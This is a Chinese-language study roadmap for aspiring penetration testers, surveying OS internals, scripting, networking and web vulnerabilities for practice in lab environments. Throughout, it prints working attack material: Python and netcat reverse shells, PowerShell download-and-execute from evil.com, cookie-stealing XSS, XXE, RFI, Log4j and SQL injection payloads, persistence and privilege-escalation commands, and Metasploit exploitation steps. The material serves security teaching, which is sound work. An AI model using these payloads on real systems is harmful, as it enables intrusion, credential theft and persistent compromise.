网络安全(白帽黑客)系统化学习路线
零基础 → 合格白帽安全工程师的完整成长路径。8 大阶段、60+ 核心知识模块、200+ 实操检查点。按顺序学,不走弯路。所有练习仅限本地靶场与授权环境。
注册表 (Registry)
Windows 的"大脑",所有系统配置、软件设置、用户信息都存在这里。安全人员必须熟练读写注册表。
- 五大根键:
HKEY_CLASSES_ROOT(文件关联)、HKEY_CURRENT_USER(当前用户)、HKEY_LOCAL_MACHINE(本机硬件/软件)、HKEY_USERS(所有用户)、HKEY_CURRENT_CONFIG(当前硬件配置) - 安全相关:自启动项(
HKLM\...\Run)、服务配置、文件关联劫持、策略设置 - 打开方式:
regedit(图形界面)、reg(命令行)
# 命令行操作注册表
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # 查看自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\evil.exe" /f # 添加自启动
reg export "HKLM\SYSTEM\CurrentControlSet" backup.reg # 导出注册表
组策略 (GPO)
企业域环境中集中管理安全策略的核心机制。蓝队用 GPO 加固,红队利用 GPO 下发恶意脚本实现横向移动。
- 打开方式:
gpedit.msc(本地组策略)、gpmc.msc(域组策略管理) - 安全配置项:密码策略、账户锁定策略、用户权限分配、安全选项、防火墙规则、审核策略
- 命令行刷新:
gpupdate /force
服务、进程与权限
| 概念 | 说明 | 常用命令 |
|---|---|---|
| 服务 Service | 后台运行的系统程序,很多提权漏洞来自服务配置错误 | sc query, net start/stop |
| 进程 Process | 运行中的程序,安全分析的核心对象 | tasklist, wmic process |
| 权限 | SID 标识用户身份,ACL 控制访问权限 | whoami /all, icacls |
| UAC | 用户账户控制,限制管理员权限的滥用 | 需绕过才能提权 |
# 进程与服务排查命令
tasklist /svc # 查看进程及关联服务
wmic process where name="svchost.exe" get ProcessId,ExecutablePath # 查看进程路径
sc qc "服务名" # 查看服务详细配置(找提权点)
whoami /priv # 查看当前权限令牌
net user # 查看所有用户
net localgroup administrators # 查看管理员组成员
事件日志
应急响应和溯源的核心数据源。Windows 日志分为系统日志、安全日志、应用程序日志。
- 查看:事件查看器
eventvwr.msc - 关键安全事件 ID:
4624(登录成功)、4625(登录失败)、4720(用户创建)、4732(成员加入组)、4688(进程创建)、7045(服务安装)
# 查最近的安全登录失败事件
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 20
# 查新创建的用户账户
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4720} | Select-Object TimeCreated,Message
WMI 与计划任务
# WMI 查询
wmic process list brief # 列出所有进程
wmic startup get Caption,Command # 查看自启动项
wmic qfe list brief # 查看已安装补丁(提权前必查)
# 计划任务(持久化常用)
schtasks /create /tn "UpdateTask" /tr "powershell -ep bypass -f C:\payload.ps1" /sc minute /mo 1 /ru SYSTEM
schtasks /query /fo LIST /v # 查看所有计划任务
用户 SID
SID(安全标识符)是 Windows 中标识用户/组的唯一 ID。理解 SID 对权限分析和域渗透至关重要。
- S-1-5-18:SYSTEM 账户(最高权限)
- S-1-5-域-500:Administrator
- S-1-5-域-501:Guest
- 查看:
whoami /user或wmic useraccount get name,SID
推荐发行版
文件权限管理
# 查看权限
ls -la /etc/passwd
# -rw-r--r-- 1 root root ... 表示 root 可读写,其他人只读
# 修改权限
chmod 755 script.sh # rwxr-xr-x
chmod u+x script.sh # 给属主加执行权限
chmod 4755 /usr/bin/find # SUID 提权关键!
# 修改属主
chown root:root file.txt
# 查找 SUID 文件(提权必用)
find / -perm -4000 -type f 2>/dev/null
进程管理
ps aux # 查看所有进程
top # 实时进程监控
htop # top 增强版
kill -9 # 强制杀死进程
pstree -p # 树状显示进程关系
lsof -i :80 # 查看占用 80 端口的进程
网络工具
| 工具 | 用途 | 示例 |
|---|---|---|
netstat | 查看网络连接/端口(旧版) | netstat -tunlp |
ss | 查看网络连接(新版,更快) | ss -tunlp |
lsof | 查看打开的文件/端口 | lsof -i :22 |
tcpdump | 命令行抓包 | tcpdump -i eth0 port 80 |
nc / ncat | 网络瑞士军刀 | nc -lvnp 4444(监听反弹shell) |
系统日志
| 日志文件 | 内容 |
|---|---|
/var/log/auth.log | 认证日志(SSH 登录、sudo)Debian/Ubuntu |
/var/log/secure | 认证日志 CentOS/RHEL |
/var/log/syslog | 系统通用日志 |
/var/log/apache2/ | Apache Web 日志 |
~/.bash_history | 用户命令历史(溯源利器) |
sudo 与 crontab
# sudo 权限查看(提权必查)
sudo -l
# 如果输出 (ALL) NOPASSWD: /usr/bin/python → 可提权:
sudo python -c 'import os; os.system("/bin/bash")'
# crontab 定时任务
crontab -e # 编辑定时任务
crontab -l # 列出定时任务
# 格式:分 时 日 月 周 命令
# */5 * * * * /tmp/backdoor.sh → 每 5 分钟执行
包管理器与 SSH
# Debian/Ubuntu (apt)
apt update && apt install nmap
# CentOS/RHEL (yum/dnf)
yum install nmap
# SSH 远程连接
ssh user@192.168.1.100
ssh -i id_rsa user@target # 密钥登录
ssh-keygen -t rsa -b 4096 # 生成密钥对
防火墙
# iptables
iptables -L -n -v # 查看规则
iptables -A INPUT -p tcp --dport 22 -j DROP # 封禁 SSH
# firewalld(CentOS 7+)
firewall-cmd --list-all
firewall-cmd --add-port=80/tcp --permanent
firewall-cmd --reload
Docker 容器基础
docker pull vulnerables/web-dvwa # 拉取靶场镜像
docker run -d -p 80:80 vulnerables/web-dvwa # 启动容器
docker ps # 查看运行中的容器
docker exec -it <容器ID> /bin/bash # 进入容器
docker-compose up -d # 启动多容器环境(Vulhub 常用)
Python 是安全领域的万能语言:爬虫、POC/EXP 编写、批量扫描、日志分析、工具二次开发、自动化渗透脚本都离不开它。
requests — HTTP 请求
import requests
resp = requests.get("http://target.com")
print(resp.status_code, resp.text[:200])
# 带 Cookie 的请求
cookies = {"session": "abc123"}
resp = requests.get("http://target.com/admin", cookies=cookies)
# POST 请求(SQL注入测试)
data = {"username": "admin", "password": "' OR 1=1--"}
resp = requests.post("http://target.com/login", data=data)
# 代理设置(配合 Burp 调试)
proxies = {"http": "http://127.0.0.1:8080"}
resp = requests.get("http://target.com", proxies=proxies, verify=False)
socket — 端口扫描与反弹 Shell
import socket
def port_scan(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((host, port))
print(f"[+] {host}:{port} OPEN")
s.close()
except: pass
# 反弹 Shell
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("攻击者IP", 4444))
while True:
cmd = s.recv(1024).decode()
if cmd == "exit": break
result = subprocess.run(cmd, shell=True, capture_output=True)
s.send(result.stdout + result.stderr)
re — 正则表达式(日志分析/数据提取)
import re
log = "192.168.1.1 - - [10/Aug/2026:21:39:11] GET /admin"
ips = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', log)
print(ips) # ['192.168.1.1']
# SQL 注入检测
pattern = re.compile(r"(union|select|insert|drop|'|--|;)", re.IGNORECASE)
多线程 — 批量扫描加速
import threading, queue
targets = queue.Queue()
for port in range(1, 65536): targets.put(port)
def worker(host):
while not targets.empty():
port = targets.get()
port_scan(host, port)
targets.task_done()
for _ in range(100):
t = threading.Thread(target=worker, args=("192.168.1.1",))
t.daemon = True; t.start()
targets.join()
实战项目:批量目录扫描器
import requests
from concurrent.futures import ThreadPoolExecutor
wordlist = ["admin","login","backup",".git","config","phpinfo.php"]
target = "http://target.com"
def scan(path):
url = f"{target}/{path}"
try:
resp = requests.get(url, timeout=3, allow_redirects=False)
if resp.status_code == 200:
print(f"[+] Found: {url} ({resp.status_code})")
except: pass
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(scan, wordlist)
SQL 注入是 Web 安全最经典的漏洞,理解 SQL 语言是理解注入原理的前提。
-- 基础增删改查
SELECT * FROM users WHERE username = 'admin';
INSERT INTO users (username, password) VALUES ('admin', '123456');
UPDATE users SET password = 'newpass' WHERE id = 1;
DELETE FROM users WHERE id = 1;
-- UNION 联合查询注入(最经典)
SELECT username, password FROM users WHERE id = 1
UNION SELECT table_name, 2 FROM information_schema.tables;
-- 注入 payload: ?id=1 UNION SELECT table_name,2 FROM information_schema.tables--
-- 报错注入
SELECT * FROM users WHERE id=1 AND updatexml(1,concat(0x7e,(SELECT version() FROM information_schema.tables),0x7e),1);
-- 布尔盲注
SELECT * FROM users WHERE id=1 AND ascii(substr((SELECT password FROM users LIMIT 1),1,1))>50;
-- 时间盲注
SELECT * FROM users WHERE id=1 AND IF(ascii(substr(database(),1,1))>50, sleep(3), 0);
关键系统库
| 数据库 | 系统库名 | 关键表 |
|---|---|---|
| MySQL | information_schema | tables, columns, schemata |
| MSSQL | master | sysobjects, syscolumns |
| Oracle | SYS | ALL_TABLES, ALL_TAB_COLUMNS |
OSI 七层 vs TCP/IP 四层模型
| OSI 七层 | TCP/IP 四层 | 典型协议 | 安全相关 |
|---|---|---|---|
| 应用层 | 应用层 | HTTP,HTTPS,DNS,FTP,SMTP | Web漏洞、DNS劫持 |
| 表示层 | SSL/TLS | 加密/解密、中间人攻击 | |
| 会话层 | RPC,NetBIOS | 会话劫持 | |
| 传输层 | 传输层 | TCP,UDP | 端口扫描、SYN Flood |
| 网络层 | 网络层 | IP,ICMP,ARP | ARP欺骗、IP伪造 |
| 数据链路层 | 网络接口层 | Ethernet,VLAN | MAC欺骗、VLAN跳跃 |
| 物理层 | 网线、光纤 | 物理接入安全 |
TCP 三次握手与四次挥手
三次握手(建立连接)
客户端 → SYN → 服务器 (SYN scan 只发这一步)
客户端 ← SYN+ACK ← 服务器
客户端 → ACK → 服务器 (连接建立)
四次挥手(断开连接)
客户端 → FIN → 服务器
客户端 ← ACK ← 服务器
客户端 ← FIN ← 服务器
客户端 → ACK → 服务器
HTTP/HTTPS 协议
HTTP 请求结构
GET /login.php?id=1 HTTP/1.1 -- 请求行
Host: target.com -- 主机头
User-Agent: Mozilla/5.0 -- 客户端标识
Cookie: session=abc123 -- 会话标识(XSS/CSRF核心)
常见状态码
200 OK | 301/302 重定向 | 400 Bad Request | 401 未授权 | 403 禁止访问
404 Not Found | 500 服务器内部错误 | 502/503/504 网关错误
其他关键协议
| 协议 | 端口 | 作用 | 安全关联 |
|---|---|---|---|
| DNS | 53 | 域名解析 | DNS劫持、DNS隧道、子域名爆破 |
| DHCP | 67/68 | 自动分配IP | DHCP欺骗 |
| ARP | — | IP→MAC解析 | ARP欺骗(中间人攻击) |
| ICMP | — | 网络探测 | Ping扫描、ICMP隧道 |
| SSH | 22 | 加密远程登录 | 爆破、密钥窃取 |
| SMB | 445 | Windows文件共享 | 永恒之蓝、IPC$空连接 |
| RDP | 3389 | Windows远程桌面 | BlueKeep、凭证抓取 |
抓包工具
# tcpdump 常用命令
tcpdump -i eth0 # 抓取所有流量
tcpdump -i eth0 port 80 # 只抓 80 端口
tcpdump -i eth0 host 192.168.1.100 # 只抓特定IP
tcpdump -w capture.pcap # 保存为pcap文件
PowerShell 是 Windows 安全人员必须掌握的脚本语言,后渗透、信息收集、提权、免杀都离不开它。
基础命令
# 执行策略绕过(渗透必会)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
powershell -nop -w hidden -c "..." # 无窗口隐藏执行
# 文件操作
Get-Content file.txt # 读文件
Set-Content file.txt "data" # 写文件
Copy-Item src dst -Force # 复制
Remove-Item -Path C:\temp -Recurse # 删除目录
# 网络请求
Invoke-WebRequest -Uri http://target.com -OutFile page.html
iwr http://evil.com/payload.exe -OutFile C:\Windows\Temp\sv.exe
Invoke-RestMethod -Uri http://api.com -Method POST -Body $json
信息收集与提权常用
# 系统信息
Get-ComputerInfo # 完整系统信息
Get-WmiObject -Class Win32_OperatingSystem
Get-HotFix | Select-Object HotFixID,InstalledOn # 补丁列表(提权必查)
# 用户与权限
Get-LocalUser | Select-Object Name,Enabled,LastLogon
Get-LocalGroupMember -Group Administrators
Get-WmiObject -Class Win32_UserAccount
# 进程与服务
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-Service | Where-Object {$_.Status -eq 'Running'}
Get-WmiObject Win32_Service | Where {$_.StartName -like "*LocalSystem*"}
# 网络连接
Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'}
Get-NetIPAddress -AddressFamily IPv4
Test-NetConnection -ComputerName 10.0.0.5 -Port 445
# 注册表操作
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path "HKLM:\...\Run" -Name backdoor -Value "powershell.exe"
# 计划任务
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName,TaskPath
PowerShell 远程下载执行(渗透常用)
# 下载并执行(无文件攻击)
IEX(New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1')
# Base64 编码执行(绕过检测)
$cmd = "Write-Host 'Hello'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -encodedCommand $encoded
# PowerSploit 框架常用模块
# Get-NetUser -- 域用户列表
# Get-NetGroup -- 域组列表
# Get-NetComputer -- 域内机器
# Invoke-Portscan -- 内网端口扫描
# Invoke-Mimikatz -- 调用 Mimikatz
管道符与重定向
# 管道符:前命令输出作为后命令输入
cat /etc/passwd | grep bash | wc -l # 统计可登录用户数
ps aux | sort -rnk 4 | head -5 # 内存占用 Top 5 进程
# 重定向
echo "data" > file.txt # 覆盖写入
echo "more" >> file.txt # 追加写入
command 2>&1 # 标准错误重定向到标准输出
command > /dev/null 2>&1 # 丢弃所有输出
command < /etc/passwd # 从文件读入
文本处理三剑客 (grep/sed/awk)
# grep — 文本搜索
grep -r "password" /var/www/ # 递归搜索目录
grep -i "root" /etc/passwd # 忽略大小写
grep -v "#" /etc/ssh/sshd_config # 排除注释行
grep -E "[0-9]{1,3}\.){3}[0-9]{1,3}" log.txt # 正则匹配IP
# sed — 流编辑器
sed 's/old/new/g' file.txt # 全局替换
sed -i 's/^PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -n '1,10p' /etc/passwd # 打印1-10行
sed '/bash$/d' /etc/passwd # 删除含bash结尾的行
# awk — 文本分析
awk -F: '{print $1, $3}' /etc/passwd # 以:分割打印第1,3列
awk '{sum+=$1}END{print sum}' file # 求和
netstat -tunlp | awk 'NR>2{print $4,$7}' # 提取监听地址和PID
cat access.log | awk '{print $1}' | sort | uniq -c | # 统计IP访问次数
sort -rn | head -10
环境变量与别名
# 环境变量
echo $PATH # 查看可执行文件路径
export PATH=$PATH:/opt/tools # 添加路径
env # 查看所有环境变量
echo $HOME $USER $SHELL
# 提权技巧:PATH 劫持
# 如果 sudo 运行的程序调用了不带路径的命令,可以修改 PATH
export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/service
chmod +x /tmp/service
sudo /usr/bin/service # 触发提权
系统信息收集命令(渗透信息收集必用)
# 系统版本与内核
uname -a # 内核版本(提权关键)
cat /etc/os-release # 发行版信息
cat /etc/issue
arch # CPU 架构
# 用户信息
id # 当前用户身份
cat /etc/passwd # 所有用户
cat /etc/shadow # 密码哈希(需root)
cat /etc/group # 用户组
sudo -l # sudo 权限(提权关键)
# 网络信息
ifconfig / ip addr # 网卡信息
route -n / ip route # 路由表
cat /etc/resolv.conf # DNS 配置
cat /etc/hosts # 主机名解析
arp -a # ARP 表
# 已安装软件
dpkg -l | grep -i ssh # Debian/Ubuntu
rpm -qa | grep -i ssh # CentOS/RHEL
Linux 提权常见路径
| 方式 | 检查命令 | 利用方法 |
|---|---|---|
| SUID 提权 | find / -perm -4000 -type f 2>/dev/null | 找 find/python/nmap/perl 等带 SUID 的程序 |
| sudo 提权 | sudo -l | NOPASSWD 的命令可提权,参考 GTFOBins |
| 内核漏洞 | uname -a → 搜索 exploit | DirtyCow、DirtyPipe 等 |
| 定时任务 | cat /etc/crontab | 以 root 运行的脚本可写入恶意代码 |
| PATH 劫持 | 检查脚本中无路径的命令 | 修改 PATH 指向恶意脚本 |
| capability | getcap -r / 2>/dev/null | cap_setuid 等可提权 |
| NFS 提权 | cat /etc/exports | no_root_squall 挂载可写 |
Docker 是安全学习的基石——靶场部署、漏洞复现、工具运行全靠它。掌握 Docker 命令是必备技能。
Docker 常用命令
# 镜像管理
docker images # 列出本地镜像
docker pull vulnerables/web-dvwa # 拉取镜像
docker rmi # 删除镜像
docker search dvwa # 搜索 Docker Hub
# 容器生命周期
docker run -d -p 80:80 -p 3306:3306 --name dvwa vulnerables/web-dvwa
# -d 后台运行 -p 端口映射 --name 容器名
docker ps # 运行中的容器
docker ps -a # 所有容器(含已停止)
docker start/stop/restart <容器名> # 容器管理
docker rm -f <容器名> # 强制删除容器
# 进入容器与操作
docker exec -it <容器名> /bin/bash # 进入容器终端
docker cp file.txt <容器名>:/tmp/ # 复制文件到容器
docker logs <容器名> # 查看容器日志
docker inspect <容器名> # 查看容器详细信息
# Docker Compose(多容器编排)
docker-compose up -d # 启动编排环境
docker-compose down # 停止并删除
docker-compose ps # 查看编排状态
安全靶场快速部署
# DVWA(新手必练)
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
# SQLi-Labs(75关SQL注入专项)
docker run -d -p 80:80 acgpiano/sqli-labs
# Pikachu 靶场(中文OWASP Top10)
docker run -d -p 80:80 area39/pikachu
# Vulhub(海量CVE漏洞环境)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
# MySQL + 靶场联合部署
docker network create sec-lab
docker run -d --network sec-lab --name db -e MYSQL_ROOT_PASSWORD=pass mysql:5.7
docker run -d --network sec-lab -p 80:80 --name dvwa vulnerables/web-dvwa
Docker 安全要点
| 风险 | 说明 | 防御 |
|---|---|---|
| 容器逃逸 | --privileged 特权模式可逃逸到宿主机 | 避免使用 --privileged |
| 镜像投毒 | 拉取恶意镜像包含后门 | 只使用可信来源镜像 |
| DoS 攻击 | 容器无资源限制导致宿主机资源耗尽 | 设置 --memory --cpus 限制 |
| 敏感挂载 | 挂载宿主机 /etc /root 等到容器 | 最小挂载原则 |
| Docker API 未授权 | 2375/2376 端口暴露 Docker Daemon | 关闭远程 API 或加 TLS |
subprocess — 执行系统命令
import subprocess
# 执行命令并获取输出
result = subprocess.run(["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True)
print(result.stdout)
# Shell 模式(方便拼接)
result = subprocess.run("nmap -sV 192.168.1.1 -oX -", shell=True, capture_output=True)
# Popen 实时输出
p = subprocess.Popen(["ping", "-c", "4", "8.8.8.8"], stdout=subprocess.PIPE)
for line in p.stdout:
print(line.decode().strip())
os — 文件与系统操作
import os
# 文件操作
os.listdir("/var/www") # 列目录
os.path.exists("/etc/passwd") # 文件是否存在
os.path.join("/tmp", "shell.php") # 拼接路径
os.makedirs("/tmp/exfil", exist_ok=True)
# 环境变量
os.environ.get("HOME")
os.environ["PATH"] += ":/opt/tools"
# 执行命令(不安全,了解即可)
os.system("whoami") # 返回退出码
os.popen("id").read() # 返回输出
Scapy — 网络数据包操控
from scapy.all import *
# SYN 端口扫描
ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22,80,443], flags="S"), timeout=2)
for s, r in ans:
if r[TCP].flags == "SA":
print(f"[+] {s[IP].dst}:{s[TCP].dport} OPEN")
# ARP 欺骗(中间人攻击)
# arpspoof(target_ip, gateway_ip)
send(ARP(op=2, pdst="192.168.1.100", psrc="192.168.1.1", hwsrc="aa:bb:cc:dd:ee:ff"))
# 抓包分析
packets = sniff(filter="tcp port 80", count=10)
packets.summary()
# 构造 ICMP Ping
sr1(IP(dst="8.8.8.8")/ICMP())
argparse — 工具命令行参数(写扫描器必用)
import argparse
parser = argparse.ArgumentParser(description="端口扫描器 v1.0")
parser.add_argument("-t", "--target", required=True, help="目标IP")
parser.add_argument("-p", "--ports", default="1-1000", help="端口范围")
parser.add_argument("-T", "--threads", type=int, default=100, help="线程数")
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
args = parser.parse_args()
print(f"扫描 {args.target} 端口 {args.args}")
其他安全常用库速查
| 库 | 用途 | 关键函数 |
|---|---|---|
hashlib | 哈希计算 | md5(), sha256() |
base64 | Base64 编解码 | b64encode(), b64decode() |
pickle | 序列化(反序列化漏洞) | pickle.loads() |
struct | 二进制打包 | pack(), unpack() |
ctypes | 调用 C 库 | CDLL(), ctypes.cast() |
paramiko | SSH 操作 | SSHClient().connect() |
pymysql | MySQL 操作 | connect(), cursor() |
nmap | 调用 Nmap | PortScanner().scan() |
ftplib | FTP 操作 | FTP().login() |
前端三剑客
| 技术 | 作用 | 安全关联 |
|---|---|---|
| HTML | 页面结构 | XSS payload 注入点、隐藏表单字段篡改 |
| CSS | 页面样式 | CSS 注入、点击劫持防护 |
| JavaScript | 前端交互 | DOM XSS、JS 逆向、AJAX 请求篡改 |
PHP 基础语法(源码审计必看)
<?php
// PHP 是 Web 安全最重要的后端语言
$name = $_GET['name']; // 从 URL 参数获取
$id = $_POST['id']; // 从 POST body 获取
// SQL 注入漏洞代码(反面教材)
$sql = "SELECT * FROM users WHERE id = " . $_GET['id']; // 直接拼接!危险!
// XSS 漏洞代码
echo "<h1>" . $_GET['name'] . "</h1>"; // 直接输出!危险!
// 文件包含漏洞
include($_GET['page'] . '.php'); // 直接包含!危险!
// 命令执行漏洞
system("ping " . $_GET['ip']); // 直接执行!危险!
?>
服务器架构 LAMP/LNMP
- LAMP:Linux + Apache + MySQL + PHP(经典架构)
- LNMP:Linux + Nginx + MySQL + PHP(高性能架构)
- 请求流程:浏览器 → Nginx/Apache → PHP-FPM → MySQL → 返回结果
① SQL 注入
高危 攻击者通过在输入中插入 SQL 语句,欺骗服务器执行非预期数据库操作。
| 类型 | 原理 | 典型 Payload |
|---|---|---|
| 联合注入 | UNION 合并查询结果 | ?id=1 UNION SELECT 1,2,3-- |
| 报错注入 | 利用数据库报错回显数据 | updatexml(1,concat(0x7e,user()),1) |
| 布尔盲注 | 页面 True/False 状态判断 | AND ascii(substr(database(),1,1))>50 |
| 时间盲注 | 通过 sleep 延迟判断 | AND IF(1=1,sleep(3),0) |
| 堆叠注入 | 分号分隔执行多条 SQL | ?id=1;DROP TABLE users-- |
| 宽字节注入 | 利用 GBK 编码绕过转义 | ?id=1%df' UNION SELECT 1,2-- |
# sqlmap 自动化注入(必会工具)
sqlmap -u "http://target.com/page?id=1" --batch # 检测注入
sqlmap -u "http://target.com/page?id=1" --dbs # 列出所有数据库
sqlmap -u "http://target.com/page?id=1" -D mydb --tables # 列出表
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump # 导出数据
sqlmap -u "http://target.com/page?id=1" --os-shell # 获取系统 Shell
sqlmap -r request.txt --batch # 从 Burp 请求文件注入
② XSS 跨站脚本
高危 攻击者注入恶意 JavaScript 到网页中,在其他用户浏览器中执行。
| 类型 | 原理 | 典型 Payload |
|---|---|---|
| 反射型 | 恶意代码在 URL 中,服务器反射回页面 | ?q=<script>alert(1)</script> |
| 存储型 | 恶意代码存入数据库,每次访问都触发 | 留言板输入 <script>steal()</script> |
| DOM 型 | 纯前端 JS 操作 DOM 引入 | document.innerHTML = location.hash |
<!-- XSS 常用 Payload -->
<script>alert(document.cookie)</script> -- 弹出Cookie
<img src=x onerror=alert(1)> -- img标签绕过
<svg onload=alert(1)> -- SVG标签绕过
<script>new Image().src='http://evil/?c='+document.cookie</script> -- 窃取Cookie
③ CSRF 跨站请求伪造
中高危 诱骗已登录用户在不知情的情况下执行非预期请求。
<!-- CSRF 攻击示例 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000" style="display:none">
<!-- 用户已登录 bank.com,浏览器自动带上 Cookie,转账请求被执行 -->
防御:CSRF Token、SameSite Cookie 属性、Referer 校验、二次确认
④ 文件上传漏洞
高危 上传可执行文件到服务器并执行,直接 getshell。
| 绕过方式 | 说明 |
|---|---|
| 前端绕过 | 禁用 JS,直接用 Burp 改包 |
| MIME 绕过 | 改 Content-Type: image/jpeg |
| 后缀绕过 | .php5, .phtml, .php.jpg, 大小写 .PhP |
| .htaccess 绕过 | 上传 .htaccess 让 .jpg 当 PHP 执行 |
| 解析漏洞 | Nginx /test.jpg/.php、Apache 多后缀 |
| 条件竞争 | 上传后在被删除前并发访问执行 |
| 图片马 | copy normal.jpg/b + shell.php/a webshell.jpg |
⑤ 文件包含漏洞
高危 服务器将用户输入作为文件路径进行包含执行。
# LFI 本地文件包含
?page=../../../../etc/passwd -- 读系统文件
?page=php://filter/convert.base64-encode/resource=index.php -- 读源码
?page=php://input -- 伪协议执行代码
# RFI 远程文件包含
?page=http://evil.com/shell.txt -- 包含远程恶意文件
# 日志包含 getshell
# 1. 在 User-Agent 中注入 <?php system($_GET['cmd'])?>
# 2. 包含日志: ?page=/var/log/apache2/access.log&cmd=id
⑥ 命令执行漏洞 (RCE)
极危 用户输入被拼接到系统命令中执行,直接控制服务器。
# 命令拼接符号
;id -- 分号:顺序执行
|id -- 管道:前命令输出作为后命令输入
||id -- 逻辑或:前命令失败才执行
&&id -- 逻辑与:前命令成功才执行
`id` -- 反引号:命令替换
$(id) -- $():命令替换
# 实际 payload 示例
?ip=127.0.0.1;cat /etc/passwd
?ip=127.0.0.1|whoami
?cmd=;nc -e /bin/bash 攻击者IP 4444 -- 反弹 Shell
⑦ SSRF 服务器请求伪造
高危 利用服务器发起请求,访问内网资源或云服务元数据。
# SSRF 利用场景
?url=http://127.0.0.1:80 -- 探测内网端口
?url=http://192.168.1.0/24 -- 内网扫描
?url=file:///etc/passwd -- 读本地文件
?url=http://169.254.169.254/latest/meta-data/ -- 云服务元数据(AWS密钥泄露!)
?url=gopher://127.0.0.1:6379/_*1%0d%0a... -- 攻击内网 Redis
⑧ XXE XML 外部实体注入
高危 利用 XML 解析器处理外部实体的特性,读取文件/发起请求。
<!-- XXE Payload:读取 /etc/passwd -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- 无回显 XXE (Blind XXE):带外数据提取 -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd;
]>
⑨ 逻辑漏洞
中高危 业务逻辑设计缺陷,扫描器难以发现。
| 类型 | 利用方式 |
|---|---|
| 越权访问 | 修改 URL 中的 user_id 查看他人数据(水平/垂直越权) |
| 密码重置绕过 | 篡改重置请求中的手机号/邮箱/验证码 |
| 支付篡改 | 修改金额 amount=0.01、数量为负数 |
| 验证码爆破 | 4 位验证码仅 1 万种,无频率限制可爆破 |
| 并发条件竞争 | 并发请求重复领券/提现/签到 |
| 任意密码修改 | 修改请求参数中的用户名和旧密码 |
⑩ 反序列化漏洞
高危 将用户可控的序列化数据反序列化时触发恶意代码执行。
# PHP 反序列化
// 漏洞代码
$data = unserialize($_GET['data']);
// 利用:构造恶意序列化对象,触发 __wakeup() / __destruct()
O:4:"User":1:{s:4:"cmd";s:10:"system('id')";}
# Java 反序列化(极高危)
// 漏洞组件:Apache Commons Collections, Fastjson, Log4j, Shiro
// 工具:ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 'whoami' > payload.bin
# 经典漏洞
# Log4j2 (CVE-2021-44228): ${jndi:ldap://evil.com/exp}
# Fastjson: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil","autoCommit":true}
# Shiro: rememberMe Cookie 反序列化(默认密钥 AES)
抓包改包工具
# Burp Suite 核心模块
Proxy -- 代理拦截/修改 HTTP 请求响应
Repeater -- 手动重发请求,调试漏洞(最常用)
Intruder -- 自动化爆破/ fuzzing
Decoder -- 编码解码(Base64/URL/Hex)
Comparer -- 对比两个响应差异
Sequencer -- 分析随机性(Token质量)
Scanner -- 自动漏洞扫描(Pro版)
扫描器
| 工具 | 类型 | 说明 |
|---|---|---|
| Nmap | 端口扫描 | 网络发现和安全审计基石 |
| AWVS | Web 漏洞扫描 | 商业 Web 漏洞扫描器 |
| Xray | 被动扫描 | 长亭出品,配合 Burp 被动扫描 |
| Nessus | 主机漏洞扫描 | 系统/服务漏洞扫描,企业标配 |
| Goby | 资产扫描 | 国产,Web 资产测绘+漏洞检测 |
| Masscan | 超快端口扫描 | 号称 6 分钟扫描全网 |
# Nmap 常用参数(必背)
nmap -sS 192.168.1.0/24 # SYN 半开扫描(隐蔽)
nmap -sV -sC 192.168.1.100 # 服务版本+默认脚本扫描
nmap -O 192.168.1.100 # 操作系统识别
nmap -A 192.168.1.100 # 全面扫描
nmap -p- 192.168.1.100 # 扫描所有 65535 个端口
nmap --script vuln 192.168.1.100 # 漏洞脚本扫描
nmap -sn 192.168.1.0/24 # 只做主机发现
漏洞利用框架 Metasploit
# Metasploit 基本流程
msfconsole
msf6 > search eternalblue # 搜索永恒之蓝 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100 # 设置目标 IP
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50 # 设置本地 IP
msf6 > exploit # 执行攻击
# Meterpreter 常用命令
meterpreter > sysinfo # 系统信息
meterpreter > getuid # 当前权限
meterpreter > hashdump # 导出密码哈希
meterpreter > screenshot # 截屏
meterpreter > keyscan_start # 键盘记录
meterpreter > getsystem # 尝试提权
密码爆破工具
| 工具 | 支持协议 | 说明 |
|---|---|---|
| Hydra | SSH,FTP,HTTP,RDP,MySQL | 在线密码爆破之王 |
| Medusa | 类似Hydra | 多线程并行爆破 |
| Hashcat | 哈希破解 | GPU加速离线哈希破解 |
